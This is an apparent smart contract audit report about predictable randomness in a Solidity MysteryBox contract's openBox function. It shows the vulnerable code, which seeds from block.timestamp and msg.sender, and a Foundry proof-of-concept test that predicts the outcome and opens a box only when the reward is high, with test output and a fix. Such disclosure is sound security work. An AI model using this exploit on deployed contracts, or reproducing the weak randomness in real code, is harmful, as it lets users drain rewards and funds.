Summary
The 'openBox' function random attack.Before execute openBox function can know the reward result, do what i want to depend the result.example, only openBox if reward eth >=0.5.
Vulnerability Details
The 'openBox' function is to reward based on random numbers, but random number can know before execute 'openBox' function.The random number depend block.timestamp and msg.sender.The block.timestamp can know before execute 'openBox' function. So judge the randomValue,if randomValue less than 95 I do nothing else I can get more than eth.
function openBox() public {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
if (randomValue < 75) {
rewardsOwned[msg.sender].push(Reward("Coal", 0 ether));
} else if (randomValue < 95) {
rewardsOwned[msg.sender].push(Reward("Bronze Coin", 0.1 ether));
} else if (randomValue < 99) {
rewardsOwned[msg.sender].push(Reward("Silver Coin", 0.5 ether));
} else {
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
}
boxesOwned[msg.sender] -= 1;
}
Impact
Proof of Concepts
function testOpenBoxRandomAttack() public {
vm.deal(user1, 1 ether);
vm.prank(user1);
bool found = false;
uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, user1))) % 100;
if(randomValue >= 95){
console.log("find random value",randomValue);
found =true;
}
console.log("block.timestamp",block.timestamp);
console.log("msg.sender",user1);
console.log("encode packed value",uint256(keccak256(abi.encodePacked(block.timestamp, user1))));
console.log(randomValue);
if(found){
mysteryBox.buyBox{value: 0.1 ether}();
console.log("Before Open:", mysteryBox.boxesOwned(user1));
vm.prank(user1);
mysteryBox.openBox();
console.log("After Open:", mysteryBox.boxesOwned(user1));
assertEq(mysteryBox.boxesOwned(user1), 0);
vm.prank(user1);
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
console2.log(rewards[0].name);
assertEq(rewards.length, 1);
}else{
console.log("Not need open box");
}
}
forge test --match-test testOpenBoxRandomAttack -vvv
[⠊] Compiling...
No files changed, compilation skipped
Ran 2 tests for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] testOpenBoxRandomAttack() (gas: 12478)
Logs:
Reward Pool Length: 4
block.timestamp 1
msg.sender 0x0000000000000000000000000000000000000001
encode packed value 79427098787440363744605843959239021171168700826295295419751300534756390064915
15
Not need open box
Tools Used
Manual review
Recommendations
Don't use block.timestamp to generate random number,it's unsafe.